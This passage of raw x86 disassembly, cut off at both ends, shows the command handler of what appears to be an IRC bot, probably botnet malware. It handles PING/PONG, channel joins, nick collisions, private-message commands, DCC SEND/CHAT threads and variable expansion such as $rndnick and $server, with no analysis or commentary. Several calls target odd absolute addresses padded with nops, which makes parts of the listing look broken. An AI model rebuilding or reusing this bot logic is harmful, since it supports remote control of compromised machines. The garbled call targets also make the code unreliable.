ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C2A0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BD10 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BD70 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F6C push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BD10 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BD70 lea eax, [ebp+var_428C] push offset asc_42CDD0 ; " :" push eax call sub_41C080 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BD70 mov esi, offset asc_42CDCC ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41C864 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401B9A: ; CODE XREF: sub_401AC7+E7j push esi push ebx call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401B9A mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F6C cmp [ebp+var_8C], ebx jz loc_401F6C push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BD10 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BE8: ; CODE XREF: sub_401AC7+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C14 cmp byte ptr [eax], 2Dh jnz short loc_401C1C cmp [eax+2], bl jnz short loc_401C1C movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C14: ; CODE XREF: sub_401AC7+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BE8 loc_401C1C: ; CODE XREF: sub_401AC7+12Aj ; sub_401AC7+12Fj cmp [ebp+var_8ED], bl jz short loc_401C27 mov [ebp+var_8], edi loc_401C27: ; CODE XREF: sub_401AC7+15Bj cmp [ebp+var_8F2], bl jz short loc_401C35 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C35: ; CODE XREF: sub_401AC7+166j cmp byte ptr [esi], 0Ah jz short loc_401C6F push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BD70 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BD70 lea eax, [ebp+var_C4] push offset asc_42CDC8 ; "!" push eax call sub_41C864 add esp, 20h loc_401C6F: ; CODE XREF: sub_401AC7+171j push esi push offset aPing ; "PING" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401CC0 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40981C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D64 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 10h jmp loc_401D64 ; --------------------------------------------------------------------------- loc_401CC0: ; CODE XREF: sub_401AC7+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4097D6 push esi push offset a005 ; "005" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4097D6 push esi push offset a302 ; "302" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D2B push offset a@ ; "@" push [ebp+var_84] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_401D64 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BD70 add esp, 0Ch jmp short loc_401D64 ; --------------------------------------------------------------------------- loc_401D2B: ; CODE XREF: sub_401AC7+238j push esi push offset a433 ; "433" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D6B push ebx push dword_42909C push dword_429098 push [ebp+arg_10] call sub_40AE77 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 1Ch loc_401D64: ; CODE XREF: sub_401AC7+1D8j ; sub_401AC7+1F4j ... mov eax, edi jmp loc_401F6F ; --------------------------------------------------------------------------- loc_401D6B: ; CODE XREF: sub_401AC7+273j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D7D: ; CODE XREF: sub_401AC7+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D9A mov [ebp+var_A4], 1 loc_401D9A: ; CODE XREF: sub_401AC7+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D7D mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401E91 mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DC9: ; CODE XREF: sub_401AC7+38Fj cmp [esi], bl jz loc_401E51 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BD70 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E51 cmp [ebp+var_84], ebx jz short loc_401E51 push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401E51 lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD5C push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_2C4] push eax call sub_415CEE add esp, 20h loc_401E51: ; CODE XREF: sub_401AC7+304j ; sub_401AC7+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DC9 push [ebp+var_84] push [ebp+arg_10] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401F6C push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E84: ; CODE XREF: sub_401AC7+5F3j ; sub_401AC7+8B0j ... push [ebp+arg_4] call sub_40981C jmp loc_404243 ; --------------------------------------------------------------------------- loc_401E91: ; CODE XREF: sub_401AC7+2F2j push esi push offset aNick ; "NICK" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401FD4 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EBA: ; CODE XREF: sub_401AC7+445j lea eax, [ebp+var_E04] push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401F07 lea eax, [ebp+var_E04] push 21h push eax call sub_41C720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F07 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C620 push [ebp+arg_1C] push edi call sub_41C630 add esp, 10h mov edi, 80h loc_401F07: ; CODE XREF: sub_401AC7+404j ; sub_401AC7+41Bj add esi, edi dec [ebp+arg_0] jnz short loc_401EBA lea eax, [ebp+var_C4] test eax, eax jz short loc_401F6C cmp [ebp+arg_24], ebx jz short loc_401F6C push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401F44 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BD70 jmp loc_40368F ; --------------------------------------------------------------------------- loc_401F44: ; CODE XREF: sub_401AC7+469j mov edi, [ebp+arg_18] xor esi, esi loc_401F49: ; CODE XREF: sub_401AC7+4A3j cmp [edi], bl jz short loc_401F60 lea eax, [ebp+var_E04] push eax push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_401F74 loc_401F60: ; CODE XREF: sub_401AC7+484j inc esi add edi, 80h cmp esi, 3 jl short loc_401F49 loc_401F6C: ; CODE XREF: sub_401AC7+5Bj ; sub_401AC7+F1j ... push 1 loc_401F6E: ; CODE XREF: sub_401AC7+2A2Ej pop eax loc_401F6F: ; CODE XREF: sub_401AC7+29Fj ; sub_401AC7+2A50j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F74: ; CODE XREF: sub_401AC7+497j lea eax, [ebp+var_E04] push 21h push eax call sub_41C720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F6C push eax call sub_41B960 push [ebp+arg_24] mov edi, eax call sub_41B960 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F6C push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C006 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409862 add esp, 24h jmp short loc_401F6C ; --------------------------------------------------------------------------- loc_401FD4: ; CODE XREF: sub_401AC7+3D9j push esi push offset aPart ; "PART" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_401FF6 push esi push offset aQuit ; "QUIT" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40201D loc_401FF6: ; CODE XREF: sub_401AC7+51Cj mov edi, [ebp+arg_18] xor esi, esi loc_401FFB: ; CODE XREF: sub_401AC7+554j cmp [edi], bl jz short loc_402011 push [ebp+var_90] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_40205E loc_402011: ; CODE XREF: sub_401AC7+536j inc esi add edi, 80h cmp esi, 3 jl short loc_401FFB loc_40201D: ; CODE XREF: sub_401AC7+52Dj push [ebp+var_8C] push offset a353 ; "353" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4020BF push [ebp+var_80] push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402051 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402051: ; CODE XREF: sub_401AC7+57Fj push [ebp+var_80] push offset unk_42CD08 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_40205E: ; CODE XREF: sub_401AC7+548j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCE8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push [ebp+var_8C] push offset aPart ; "PART" call sub_41C7E0 add esp, 18h test eax, eax jnz loc_401F6C lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E84 ; --------------------------------------------------------------------------- loc_4020BF: ; CODE XREF: sub_401AC7+56Aj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C7E0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402113 push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_402113 push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 cmp dword_429088, ebx jz loc_409643 loc_402113: ; CODE XREF: sub_401AC7+612j ; sub_401AC7+624j push [ebp+var_8C] push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_402293 push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_402293 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402157: ; CODE XREF: sub_401AC7+888j ; sub_401AC7+8C4j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCCC mov [ebp+arg_8], eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402529 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4023F3 cmp [ebp+var_A4], ebx jz loc_4023CC push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C006 push [ebp+esi+var_84] lea eax, [ebp+var_1B98] push edi push eax call sub_41C006 push [ebp+esi+var_80] call sub_41BEF9 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC90 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3AD add esp, 44h mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416519 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz loc_4023BB loc_40227D: ; CODE XREF: sub_401AC7+7CAj cmp [ebp+var_19F0], ebx jnz loc_40830C push 32h call near ptr 2690000h nop jmp short loc_40227D ; --------------------------------------------------------------------------- loc_402293: ; CODE XREF: sub_401AC7+65Cj ; sub_401AC7+672j push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4022AC mov [ebp+var_4], 1 loc_4022AC: ; CODE XREF: sub_401AC7+7DCj cmp [ebp+var_88], ebx jz loc_401F6C push offset dword_42CC8C push [ebp+var_88] call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4022D3 cmp [ebp+var_4], ebx jz short loc_4022DF loc_4022D3: ; CODE XREF: sub_401AC7+805j lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022DF: ; CODE XREF: sub_401AC7+80Aj cmp [ebp+var_84], ebx jz loc_401F6C inc [ebp+var_84] jz short loc_40232B cmp [ebp+arg_10], ebx jz short loc_40232B lea eax, [ebp+var_338] push eax call sub_41B960 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C5E0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402331 ; --------------------------------------------------------------------------- loc_40232B: ; CODE XREF: sub_401AC7+82Aj ; sub_401AC7+82Fj mov esi, [ebp+var_AC] loc_402331: ; CODE XREF: sub_401AC7+862j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F6C push edi push offset dword_42CC80 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402157 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40237C mov eax, dword_4C91B8 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_40237C push eax push ecx push offset dword_42CC64 jmp loc_401E84 ; --------------------------------------------------------------------------- loc_40237C: ; CODE XREF: sub_401AC7+897j ; sub_401AC7+8A7j push edi push offset dword_42CC5C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402157 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402157 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402157 push eax push ecx push offset dword_42CC44 jmp loc_401E84 ; --------------------------------------------------------------------------- loc_4023BB: ; CODE XREF: sub_401AC7+7B0j ; sub_401AC7+76CCj nop call near ptr 26908A7h push eax push offset unk_42CC08 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_4023CC: ; CODE XREF: sub_401AC7+6DAj lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset unk_42CBC4 push eax call sub_41C006 add esp, 10h jmp loc_40830C ; --------------------------------------------------------------------------- loc_4023F3: ; CODE XREF: sub_401AC7+6CEj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40253F cmp [ebp+var_A4], ebx jz loc_402518 push 1Bh call sub_40B5F5 test eax, eax pop ecx jnz loc_402507 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C006 push [ebp+esi+var_80] call sub_41BEF9 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB9C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3AD add esp, 34h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset word_415FB6 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4024F6 loc_4024E0: ; CODE XREF: sub_401AC7+A2Dj cmp [ebp+var_2904], ebx jnz loc_40830C push 32h nop call near ptr 2690000h jmp short loc_4024E0 ; --------------------------------------------------------------------------- loc_4024F6: ; CODE XREF: sub_401AC7+A17j call near ptr 26908A7h nop push eax push offset unk_42CB64 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402507: ; CODE XREF: sub_401AC7+95Dj lea eax, [ebp+var_C4] push eax push offset unk_42CB34 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402518: ; CODE XREF: sub_401AC7+94Dj lea eax, [ebp+var_C4] push eax push offset unk_42CB00 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_401AC7+6B3j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429090 mov [edi], ecx jnz loc_401F6C loc_40253F: ; CODE XREF: sub_401AC7+941j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC ; "c" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40964B push [ebp+arg_8] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40964B cmp [ebp+var_A4], ebx jnz short loc_40258F push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 loc_40258F: ; CODE XREF: sub_401AC7+AACj cmp [ebp+arg_28], ebx jnz loc_409643 xor edi, edi cmp dword_4294D0, ebx jle loc_402744 mov [ebp+arg_20], offset dword_43B4C0 loc_4025AD: ; CODE XREF: sub_401AC7+B05j push [ebp+arg_8] push [ebp+arg_20] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4025D3 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D0 jl short loc_4025AD jmp loc_402744 ; --------------------------------------------------------------------------- loc_4025D3: ; CODE XREF: sub_401AC7+AF5j push offset asc_42CDD0 ; " :" push [ebp+arg_0] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_401F6C mov cl, byte_429090 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429090 mov [eax+3], cl lea ecx, dword_43B4D8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BD70 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402628: ; CODE XREF: sub_401AC7+C12j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C006 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C080 add esp, 14h test eax, eax jz short loc_402694 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_402694 lea eax, dword_43B4C0[edi] push eax call sub_41B960 add [ebp+var_C], eax pop ecx jz short loc_4026CF mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_4026CF push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 0Ch jmp short loc_4026CF ; --------------------------------------------------------------------------- loc_402694: ; CODE XREF: sub_401AC7+B89j ; sub_401AC7+B90j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026CF lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BD70 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 18h loc_4026CF: ; CODE XREF: sub_401AC7+BA2j ; sub_401AC7+BB6j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402628 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026EC: ; CODE XREF: sub_401AC7+C71j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C006 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C080 add esp, 14h test eax, eax jz short loc_40272F mov eax, [edi] cmp eax, ebx jz short loc_40272F push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 0Ch loc_40272F: ; CODE XREF: sub_401AC7+C4Dj ; sub_401AC7+C53j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026EC mov [ebp+var_2C8], 1 loc_402744: ; CODE XREF: sub_401AC7+AD9j ; sub_401AC7+B07j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429090 jz short loc_40275D cmp [ebp+var_2C8], ebx jz loc_40294E loc_40275D: ; CODE XREF: sub_401AC7+C88j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4183EC lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_4183EC push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_4183EC push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE77 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4183EC add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_4183EC mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C080 add esp, 14h loc_4027CF: ; CODE XREF: sub_401AC7+E00j test eax, eax jz loc_4028CC push edi push [ebp+arg_0] call sub_41C080 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BD70 lea eax, [ebp+var_A0] push offset asc_42CABC ; ")" push eax call sub_41C864 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40281B cmp [ebp+var_A0], 39h jle short loc_402831 loc_40281B: ; CODE XREF: sub_401AC7+D49j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BD70 add esp, 0Ch loc_402831: ; CODE XREF: sub_401AC7+D52j lea eax, [ebp+var_A0] push eax call sub_41BEF9 test eax, eax pop ecx jle short loc_402857 lea eax, [ebp+var_A0] push eax call sub_41BEF9 pop ecx mov [ebp+var_94], al jmp short loc_40286B ; --------------------------------------------------------------------------- loc_402857: ; CODE XREF: sub_401AC7+D79j call sub_41C062 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40286B: ; CODE XREF: sub_401AC7+D8Ej lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B960 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BD10 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BD70 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC push edi push [ebp+arg_0] call sub_41C080 add esp, 30h jmp loc_4027CF ; --------------------------------------------------------------------------- loc_4028CC: ; CODE XREF: sub_401AC7+D0Aj mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BD70 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BD70 lea eax, [ebp+var_4EF8] push offset asc_42CDCC ; " " push eax call sub_41C864 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40291C: ; CODE XREF: sub_401AC7+E6Aj push offset asc_42CDCC ; " " push ebx call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40291C mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F6C add ecx, 3 mov [eax], ecx loc_40294E: ; CODE XREF: sub_401AC7+C90j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095F6 push edi push offset aRn ; "rn" 